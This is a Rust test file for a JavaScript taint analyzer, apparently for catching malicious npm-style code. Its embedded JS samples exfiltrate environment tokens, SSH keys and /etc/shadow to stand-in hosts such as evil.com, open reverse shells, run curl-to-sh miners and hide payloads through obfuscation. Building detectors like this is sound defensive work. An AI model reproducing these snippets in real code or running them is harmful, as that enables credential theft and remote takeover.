#![cfg(feature = "js")]
use pyrograph::analyze;
#[test]
fn fix_object_property_write_read() {
let js = r#"
var obj = {};
obj.secret = process.env.TOKEN;
fetch('https://evil.com/' + obj.secret);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Object property write→read: {} findings", findings.len());
}
#[test]
fn fix_char_by_char_string_build() {
let js = r#"
var s = '';
s += 'c'; s += 'h'; s += 'i'; s += 'l'; s += 'd';
s += '_'; s += 'p'; s += 'r'; s += 'o'; s += 'c'; s += 'e'; s += 's'; s += 's';
var cp = require(s);
cp.exec(process.env.CMD);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Char-by-char string build: {} findings", findings.len());
}
#[test]
fn fix_prototype_pollution_rce() {
let js = r#"
var input = process.argv[2];
var obj = {};
obj.__proto__.polluted = input;
// Later code uses the polluted prototype
var x = {};
require('child_process').exec(x.polluted);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Prototype pollution: {} findings", findings.len());
}
#[test]
fn fix_eval_of_fetched_code() {
let js = r#"
var https = require('https');
https.get('https://evil.com/payload.js', function(res) {
var body = '';
res.on('data', function(chunk) { body += chunk; });
res.on('end', function() { eval(body); });
});
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Fetch→eval two-stage MUST be detected");
}
#[test]
fn fix_array_index_taint() {
let js = r#"
var secrets = [process.env.TOKEN, process.env.KEY];
fetch('https://evil.com/?s=' + secrets[0]);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Array index taint MUST flow");
}
#[test]
fn fix_ternary_source_selection() {
let js = r#"
var secret = process.env.TOKEN ? process.env.TOKEN : process.env.KEY;
fetch('https://evil.com/?s=' + secret);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Ternary source selection MUST be detected");
}
#[test]
fn fix_nested_function_return() {
let js = r#"
function inner() { return process.env.SECRET; }
function outer() { return inner(); }
fetch('https://evil.com/?s=' + outer());
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Nested function return taint MUST flow");
}
#[test]
fn fix_map_filter_reduce_taint() {
let js = r#"
var envKeys = Object.keys(process.env);
var filtered = envKeys.filter(function(k) { return k.startsWith('NPM'); });
var values = filtered.map(function(k) { return process.env[k]; });
fetch('https://evil.com/?data=' + values.join(','));
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Array method chain taint MUST flow");
}
#[test]
fn fix_json_stringify_exfil() {
let js = r#"
var data = { token: process.env.TOKEN, key: process.env.KEY };
var body = JSON.stringify(data);
require('https').request({hostname:'evil.com', method:'POST'}).end(body);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "JSON.stringify of tainted data → request MUST be detected");
}
#[test]
fn fix_string_replace_obfuscation() {
let js = r#"
var encoded = process.env.PAYLOAD;
var decoded = encoded.replace(/X/g, '');
eval(decoded);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "String.replace taint MUST flow through");
}
#[test]
fn fix_conditional_require() {
let js = r#"
var token = process.env.TOKEN;
if (token) {
var https = require('https');
https.request({hostname:'evil.com', path:'/'+token}).end();
}
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Conditional require + exfil MUST be detected");
}
#[test]
fn fix_try_catch_exfil() {
let js = r#"
try {
var data = require('fs').readFileSync('/etc/shadow', 'utf8');
} catch(e) {}
if (typeof data !== 'undefined') {
fetch('https://evil.com/?d=' + data);
}
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Try/catch with exfil MUST be detected");
}
#[test]
fn fix_setinterval_beacon() {
let js = r#"
setInterval(function() {
var token = process.env.NPM_TOKEN;
if (token) {
fetch('https://evil.com/beacon?t=' + token);
}
}, 60000);
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "setInterval beacon MUST be detected");
}
#[test]
fn fix_multiple_exfil_channels() {
let js = r#"
var secret = process.env.SECRET;
fetch('https://evil1.com/?s=' + secret);
require('dns').lookup(secret + '.evil2.com', function(){});
require('https').request({hostname:'evil3.com', path:'/'+secret}).end();
"#;
let graph = pyrograph::parse::parse_js(js, "t.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.len() >= 3, "3 exfil channels MUST produce >= 3 findings, got {}", findings.len());
}
#[test]
fn catch_heavily_obfuscated_multi_vector_malware() {
let evil_js = r#"
var _0x1a = process;
var _0x2b = _0x1a['env'];
var _0x3c = _0x2b['NPM_TOKEN'];
var _0x4d = _0x3c;
var _0x5e = _0x4d;
var _mod = require('child' + '_process');
var _fn = _mod['exe' + 'cSync'];
var _payload = Buffer.from('Y3VybCBldmlsLmNvbQ==', 'base64').toString();
var _time = Date.now();
if (_time > 0) {
var _cmd = `${_payload}${_0x5e}`;
_fn(_cmd);
}
var _dns = require('dns');
_dns.lookup(_0x5e + '.evil.example', function(){});
var _fs = require('fs');
var _keys = _fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
var _https = require('https');
_https.request({hostname:'evil.example', path:'/' + _keys, method:'POST'}).end();
"#;
let graph = pyrograph::parse::parse_js(evil_js, "evil.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("=== FINDINGS ({}) ===", findings.len());
for (i, f) in findings.iter().enumerate() {
let src_name = graph.node(f.path[0] as u32).map(|n| n.name.as_str()).unwrap_or("?");
let sink_name = graph.node(*f.path.last().unwrap() as u32).map(|n| n.name.as_str()).unwrap_or("?");
eprintln!(" [{}] {:?} | {} -> {} (path len {})", i, f.severity, src_name, sink_name, f.path.len());
}
assert!(findings.len() >= 6, "Must detect at least 6 flows. Found: {}", findings.len());
let has_fs_to_https = findings.iter().any(|f| {
let src = graph.node(f.path[0] as u32);
let sink = graph.node(*f.path.last().unwrap() as u32);
src.map_or(false, |n| n.name.contains("readFile"))
&& sink.map_or(false, |n| n.name.contains("request"))
});
assert!(has_fs_to_https, "Must detect fs.readFileSync -> https.request (SSH key theft)");
let has_env_to_https = findings.iter().any(|f| {
let src = graph.node(f.path[0] as u32);
let sink = graph.node(*f.path.last().unwrap() as u32);
src.map_or(false, |n| n.name.contains("process.env"))
&& sink.map_or(false, |n| n.name.contains("request"))
});
assert!(has_env_to_https, "Must detect process.env -> https.request");
}
#[test]
fn catch_bracket_notation_variable_indirection() {
let js = "var a = process; var b = a['env']; var c = b['TOKEN']; fetch(c);";
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Bracket process['env']['TOKEN'] -> fetch must be detected");
}
#[test]
fn catch_string_concat_require() {
let js = "var m = require('child' + '_process'); var p = Buffer.from('abc'); m.execSync(p);";
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "require('child'+'_process').execSync must be detected");
}
#[test]
fn catch_for_of_taint_flow() {
let js = r#"
const entries = Object.entries(process.env);
for (const [key, val] of entries) {
fetch(`http://evil.com/?${key}=${val}`);
}
"#;
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Taint must flow through for-of loop destructuring");
}
#[test]
fn catch_destructuring_assignment() {
let js = r#"
let a, b;
[a, b] = [process.env.USER, "safe"];
fetch(a);
"#;
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Taint must flow through destructuring assignment");
}
#[test]
fn catch_object_destructuring_assignment() {
let js = r#"
let { TOKEN } = process.env;
fetch(TOKEN);
"#;
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Taint must flow through object destructuring");
}
#[test]
fn catch_dns_exfiltration_variable_chain() {
let js = "var t = process.env.TOKEN; var d = require('dns'); d.lookup(t + '.x.com', function(){});";
let graph = pyrograph::parse::parse_js(js, "test.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "process.env -> dns.lookup must be detected");
}
#[test]
fn cred_theft_fetch_direct() {
let js = "var t = process.env.NPM_TOKEN; fetch(t);";
let graph = pyrograph::parse::parse_js(js, "cred1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect process.env -> fetch");
}
#[test]
fn cred_theft_http_request_direct() {
let js = "var k = process.env.AWS_SECRET_ACCESS_KEY; http.request({hostname:'evil.com', path:'/'+k}).end();";
let graph = pyrograph::parse::parse_js(js, "cred2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect process.env -> http.request");
}
#[test]
fn cred_theft_https_request_direct() {
let js = "var s = process.env.SECRET; https.request({hostname:'exfil.com', path:'/s?'+s}).end();";
let graph = pyrograph::parse::parse_js(js, "cred3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect process.env -> https.request");
}
#[test]
fn cred_theft_indirect_variable() {
let js = "var x = process.env.TOKEN; var y = x; fetch(y);";
let graph = pyrograph::parse::parse_js(js, "cred4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect indirect variable flow to fetch");
}
#[test]
fn cred_theft_string_concat() {
let js = "var u = 'https://evil.com/?t=' + process.env.TOKEN; fetch(u);";
let graph = pyrograph::parse::parse_js(js, "cred5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect string concat exfiltration");
}
#[test]
fn cred_theft_function_return() {
let js = "function getToken(){ return process.env.TOKEN; } fetch(getToken());";
let graph = pyrograph::parse::parse_js(js, "cred6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect function return flow to fetch");
}
#[test]
fn cred_theft_object_destructuring() {
let js = "const { KEY } = process.env; fetch(KEY);";
let graph = pyrograph::parse::parse_js(js, "cred7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect destructured env var exfil");
}
#[test]
fn cred_theft_bracket_notation() {
let js = "var a = process; var b = a['env']; var c = b['TOKEN']; fetch(c);";
let graph = pyrograph::parse::parse_js(js, "cred8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect bracket notation credential theft");
}
#[test]
fn cred_theft_multiple_env_vars() {
let js = "var t1 = process.env.TOKEN; var t2 = process.env.KEY; fetch(t1 + t2);";
let graph = pyrograph::parse::parse_js(js, "cred9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect combined env var exfil");
}
#[test]
fn cred_theft_fetch_headers() {
let js = "fetch('https://evil.com', {headers:{'X-Auth': process.env.TOKEN}});";
let graph = pyrograph::parse::parse_js(js, "cred10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect header-based credential exfil");
}
#[test]
fn cred_theft_http_query_param() {
let js = "var q = process.env.QUERY; http.request({hostname:'evil.com', path:'/?q='+q}).end();";
let graph = pyrograph::parse::parse_js(js, "cred11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect query param credential exfil");
}
#[test]
fn cred_theft_https_path() {
let js = "var p = process.env.PASS; https.request('https://evil.com/'+p).end();";
let graph = pyrograph::parse::parse_js(js, "cred12.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect path-based credential exfil");
}
#[test]
fn rev_shell_spawn_bin_sh() {
let js = r#"
var net = require('net');
var cp = require('child_process');
var s = new net.Socket();
s.connect(4444, 'evil.example');
s.on('data', function(d) { cp.spawn('/bin/sh', ['-c', d]); });
"#;
let graph = pyrograph::parse::parse_js(js, "rev1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect net.Socket -> spawn reverse shell");
}
#[test]
fn rev_shell_exec() {
let js = r#"
var net = require('net');
var cp = require('child_process');
var s = new net.Socket();
s.connect(4444, 'evil.example');
s.on('data', d => cp.exec(d.toString()));
"#;
let graph = pyrograph::parse::parse_js(js, "rev2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect net.Socket -> exec reverse shell");
}
#[test]
fn rev_shell_exec_sync() {
let js = r#"
var net = require('net');
var s = new net.Socket();
s.on('data', d => require('child_process').execSync(d.toString()));
"#;
let graph = pyrograph::parse::parse_js(js, "rev3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect net.Socket -> execSync reverse shell");
}
#[test]
fn rev_shell_new_function() {
let js = r#"
var net = require('net');
var s = new net.Socket();
s.on('data', d => new Function(d)());
"#;
let graph = pyrograph::parse::parse_js(js, "rev4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect net.Socket -> new Function reverse shell");
}
#[test]
fn rev_shell_stdio_piped() {
let js = r#"
var net = require('net');
var s = new net.Socket();
s.on('data', d=>{ require('child_process').spawn('/bin/bash',['-i'],{stdio:[s,s,s]}); });
"#;
let graph = pyrograph::parse::parse_js(js, "rev5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect reverse shell with stdio piping");
}
#[test]
fn rev_shell_require_inline() {
let js = r#"
var s = new (require('net')).Socket();
s.on('data', d => require('child_process').exec(d));
"#;
let graph = pyrograph::parse::parse_js(js, "rev6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect inline require reverse shell");
}
#[test]
fn rev_shell_chained_events() {
let js = r#"
var s = require('net').Socket();
s.connect(1234, 'c2.example');
s.on('error', ()=>{});
s.on('data', d => { var cp = require('child_process'); cp.spawn('/bin/sh', ['-c', d]); });
"#;
let graph = pyrograph::parse::parse_js(js, "rev7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect chained event reverse shell");
}
#[test]
fn rev_shell_zsh() {
let js = r#"
var net = require('net'), cp = require('child_process');
var socket = new net.Socket();
socket.connect(1337, 'attacker.example');
socket.on('data', function(chunk){ cp.spawn('/bin/zsh', ['-c', chunk]); });
"#;
let graph = pyrograph::parse::parse_js(js, "rev8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect zsh reverse shell");
}
#[test]
fn rev_shell_eval_socket() {
let js = r#"
var s = new (require('net')).Socket();
s.on('data', d => eval(d));
"#;
let graph = pyrograph::parse::parse_js(js, "rev9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect eval-based reverse shell");
}
#[test]
fn rev_shell_settimeout_socket() {
let js = r#"
var s = new (require('net')).Socket();
s.on('data', d => setTimeout(d, 0));
"#;
let graph = pyrograph::parse::parse_js(js, "rev10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect setTimeout reverse shell");
}
#[test]
fn rev_shell_vm_runinnewcontext() {
let js = r#"
var s = new (require('net')).Socket();
s.on('data', d => require('vm').runInNewContext(d));
"#;
let graph = pyrograph::parse::parse_js(js, "rev11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect vm.runInNewContext reverse shell");
}
#[test]
fn rev_shell_sh_echo_pipe() {
let js = r#"
var s = new (require('net')).Socket();
s.on('data', d => { var cmd = 'echo ' + d + ' | sh'; require('child_process').exec(cmd); });
"#;
let graph = pyrograph::parse::parse_js(js, "rev12.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect piped sh reverse shell");
}
#[test]
fn miner_env_url_exec() {
let js = "var url = process.env.MINER_URL; require('child_process').exec('curl -s ' + url + ' | sh');";
let graph = pyrograph::parse::parse_js(js, "miner1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect miner env URL -> exec");
}
#[test]
fn miner_buffer_exec() {
let js = "var payload = Buffer.from('BASE64PAYLOAD','base64').toString(); require('child_process').exec(payload);";
let graph = pyrograph::parse::parse_js(js, "miner2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer.from -> exec miner");
}
#[test]
fn miner_fs_readfile_execsync() {
let js = "var cmd = require('fs').readFileSync('/tmp/miner.sh','utf8'); require('child_process').execSync(cmd);";
let graph = pyrograph::parse::parse_js(js, "miner3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect fs.readFileSync -> execSync miner");
}
#[test]
fn miner_argv_exec() {
let js = "var miner = process.argv[2]; require('child_process').exec(miner);";
let graph = pyrograph::parse::parse_js(js, "miner4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect argv -> exec miner");
}
#[test]
fn miner_env_spawn_sh() {
let js = "var url = process.env.URL; require('child_process').spawn('sh', ['-c', 'curl ' + url + ' | bash']);";
let graph = pyrograph::parse::parse_js(js, "miner5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect env URL -> spawn miner");
}
#[test]
fn miner_buffer_eval() {
let js = "var script = Buffer.from('Y3VybCBldmlsLmNvbQ==','base64').toString(); eval(script);";
let graph = pyrograph::parse::parse_js(js, "miner6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer.from -> eval miner");
}
#[test]
fn miner_env_xmrig() {
let js = "var p = process.env.POOL; var w = process.env.WALLET; require('child_process').exec('xmrig -o ' + p + ' -u ' + w);";
let graph = pyrograph::parse::parse_js(js, "miner7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect env pool/wallet -> exec xmrig");
}
#[test]
fn miner_env_new_function() {
let js = "var x = process.env.PAYLOAD; new Function(x)();";
let graph = pyrograph::parse::parse_js(js, "miner8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect env payload -> new Function miner");
}
#[test]
fn miner_fs_buffer_eval() {
let js = "var f = require('fs').readFileSync('miner.js'); eval(f.toString());";
let graph = pyrograph::parse::parse_js(js, "miner9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect fs.readFileSync -> eval miner");
}
#[test]
fn miner_env_wget_execsync() {
let js = "var u = process.env.URL; require('child_process').execSync('wget ' + u + ' -O - | sh');";
let graph = pyrograph::parse::parse_js(js, "miner10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect wget env URL -> execSync miner");
}
#[test]
fn miner_buffer_spawn() {
let js = "var b = Buffer.from('c3VkbyBhcHQgdXBkYXRl','base64').toString(); require('child_process').spawn('sh',['-c',b]);";
let graph = pyrograph::parse::parse_js(js, "miner11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer.from -> spawn miner");
}
#[test]
fn dns_exfil_env_token() {
let js = "var t = process.env.TOKEN; require('dns').lookup(t + '.evil.com', ()=>{});";
let graph = pyrograph::parse::parse_js(js, "dns1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect DNS exfil of env token");
}
#[test]
fn dns_exfil_fs_passwd() {
let js = "var d = require('fs').readFileSync('/etc/passwd','utf8'); require('dns').lookup(d.substring(0,50)+'.x.com', ()=>{});";
let graph = pyrograph::parse::parse_js(js, "dns2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect DNS exfil of /etc/passwd");
}
#[test]
fn dns_exfil_buffer_secret() {
let js = "var b = Buffer.from('secret').toString(); require('dns').lookup(b + '.c2.net', ()=>{});";
let graph = pyrograph::parse::parse_js(js, "dns3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect DNS exfil of buffer secret");
}
#[test]
fn dns_exfil_argv() {
let js = "var a = process.argv[2]; require('dns').lookup(a + '.dns.evil', ()=>{});";
let graph = pyrograph::parse::parse_js(js, "dns4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect DNS exfil of argv");
}
#[test]
fn dns_exfil_env_template() {
let js = "var k = process.env.KEY; var dns = require('dns'); dns.lookup(`${k}.log.exfil`);";
let graph = pyrograph::parse::parse_js(js, "dns5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect template-based DNS exfil");
}
#[test]
fn dns_exfil_fs_npmrc() {
let js = "var data = require('fs').readFileSync('.npmrc'); require('dns').lookup(data.toString().trim() + '.cc.tld');";
let graph = pyrograph::parse::parse_js(js, "dns6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect DNS exfil of .npmrc");
}
#[test]
fn dns_exfil_env_indirect() {
let js = "var t = process.env.TOKEN; var h = t + '.e.com'; require('dns').lookup(h);";
let graph = pyrograph::parse::parse_js(js, "dns7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect indirect DNS exfil");
}
#[test]
fn dns_exfil_env_callback() {
let js = "var x = process.env.SECRET; var dns = require('dns'); dns.lookup(x + '.bad', function(){});";
let graph = pyrograph::parse::parse_js(js, "dns8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect callback-style DNS exfil");
}
#[test]
fn dns_exfil_env_slice() {
let js = "var p = process.env.PASSWORD; require('dns').lookup(p.slice(0,10) + '.drop.example');";
let graph = pyrograph::parse::parse_js(js, "dns9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect sliced DNS exfil");
}
#[test]
fn dns_exfil_fs_hosts() {
let js = "var f = require('fs').readFileSync('/etc/hosts'); require('dns').lookup(f + '.pwned');";
let graph = pyrograph::parse::parse_js(js, "dns10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/hosts DNS exfil");
}
#[test]
fn dns_exfil_buffer_env() {
let js = "var b = Buffer.from(process.env.TOKEN).toString(); require('dns').lookup(b + '.exfil.io');";
let graph = pyrograph::parse::parse_js(js, "dns11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer-wrapped env token DNS exfil");
}
#[test]
fn file_theft_etc_passwd_fetch() {
let js = "var data = require('fs').readFileSync('/etc/passwd'); fetch(data);";
let graph = pyrograph::parse::parse_js(js, "ft1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/passwd -> fetch");
}
#[test]
fn file_theft_ssh_key_https() {
let js = r#"
var key = require('fs').readFileSync(process.env.HOME + '/.ssh/id_rsa');
https.request({hostname:'evil.com', path:'/'+key}).end();
"#;
let graph = pyrograph::parse::parse_js(js, "ft2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect SSH key -> https.request");
}
#[test]
fn file_theft_npmrc_http() {
let js = "var npmrc = require('fs').readFileSync('.npmrc','utf8'); http.request('http://evil.com?d='+npmrc).end();";
let graph = pyrograph::parse::parse_js(js, "ft3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect .npmrc -> http.request");
}
#[test]
fn file_theft_shadow_fetch_body() {
let js = "var shadow = require('fs').readFileSync('/etc/shadow'); fetch('https://evil.com/', {body: shadow});";
let graph = pyrograph::parse::parse_js(js, "ft4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/shadow -> fetch body");
}
#[test]
fn file_theft_hosts_https() {
let js = "var hosts = require('fs').readFileSync('/etc/hosts'); fetch('https://c2.com?h='+hosts);";
let graph = pyrograph::parse::parse_js(js, "ft5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/hosts -> https exfil");
}
#[test]
fn file_theft_passwd_http() {
let js = "var data = require('fs').readFileSync('/etc/passwd'); fetch('https://evil.com/?d=' + data);";
let graph = pyrograph::parse::parse_js(js, "ft6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/passwd -> http exfil");
}
#[test]
fn file_theft_authorized_keys_https() {
let js = "var ssh = require('fs').readFileSync('/root/.ssh/authorized_keys'); https.request({hostname:'x.com', path:'/k?'+ssh}).end();";
let graph = pyrograph::parse::parse_js(js, "ft7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect authorized_keys -> https.request");
}
#[test]
fn file_theft_credentials_json_http() {
let js = "var creds = require('fs').readFileSync('credentials.json'); http.request('http://exfil.com?c='+creds).end();";
let graph = pyrograph::parse::parse_js(js, "ft8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect credentials.json -> http.request");
}
#[test]
fn file_theft_proc_version_fetch() {
let js = "var f = require('fs').readFileSync('/proc/version'); fetch('https://evil.com?f='+f);";
let graph = pyrograph::parse::parse_js(js, "ft9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /proc/version -> fetch");
}
#[test]
fn file_theft_group_https() {
let js = "var file = require('fs').readFileSync('/etc/group'); var h = require('https'); h.request('https://evil.com?g='+file).end();";
let graph = pyrograph::parse::parse_js(js, "ft10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /etc/group -> https.request");
}
#[test]
fn file_theft_tmp_key_fetch() {
let js = "var k = require('fs').readFileSync('/tmp/key'); fetch(k);";
let graph = pyrograph::parse::parse_js(js, "ft11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect /tmp/key -> fetch");
}
#[test]
fn install_hook_execsync_env_cmd() {
let js = "var cmd = process.env.POSTINSTALL_CMD; require('child_process').execSync(cmd);";
let graph = pyrograph::parse::parse_js(js, "hook1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect execSync driven by env cmd");
}
#[test]
fn install_hook_exec_env_payload() {
let js = "var p = process.env.PAYLOAD; require('child_process').exec(p);";
let graph = pyrograph::parse::parse_js(js, "hook2.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect exec driven by env payload");
}
#[test]
fn install_hook_spawn_env_script() {
let js = "var s = process.env.SCRIPT; require('child_process').spawn('sh', ['-c', s]);";
let graph = pyrograph::parse::parse_js(js, "hook3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect spawn driven by env script");
}
#[test]
fn install_hook_execsync_curl_env() {
let js = "var url = process.env.URL; require('child_process').execSync('curl ' + url + ' | sh');";
let graph = pyrograph::parse::parse_js(js, "hook4.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect curl pipe execSync hook");
}
#[test]
fn install_hook_execsync_buffer() {
let js = "var b = Buffer.from(process.env.B64).toString(); require('child_process').execSync(b);";
let graph = pyrograph::parse::parse_js(js, "hook5.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect Buffer-based execSync hook");
}
#[test]
fn install_hook_execsync_fs_hook() {
let js = "var f = require('fs').readFileSync(process.env.HOME + '/.npm/_hooks.sh'); require('child_process').execSync(f.toString());";
let graph = pyrograph::parse::parse_js(js, "hook6.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect fs-driven execSync hook");
}
#[test]
fn install_hook_execsync_argv() {
let js = "var a = process.argv[2]; require('child_process').execSync(a);";
let graph = pyrograph::parse::parse_js(js, "hook7.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect argv-driven execSync hook");
}
#[test]
fn install_hook_new_function_env() {
let js = "var x = process.env.INSTALL_HOOK; new Function(x)();";
let graph = pyrograph::parse::parse_js(js, "hook8.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect new Function hook");
}
#[test]
fn install_hook_settimeout_env() {
let js = "var t = process.env.TOKEN; setTimeout(function(){ require('child_process').execSync(t); }, 0);";
let graph = pyrograph::parse::parse_js(js, "hook9.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect setTimeout -> execSync hook");
}
#[test]
fn install_hook_eval_env() {
let js = "var p = process.env.PAYLOAD; eval(p);";
let graph = pyrograph::parse::parse_js(js, "hook10.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect eval hook");
}
#[test]
fn install_hook_spawn_env_cmd() {
let js = "var c = process.env.CMD; require('child_process').spawn(c);";
let graph = pyrograph::parse::parse_js(js, "hook11.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "Must detect spawn driven by env cmd");
}
#[test]
fn obf_eval_base64() {
let js = "var d = Buffer.from('ZXZhbCgxKQ==','base64').toString(); eval(d);";
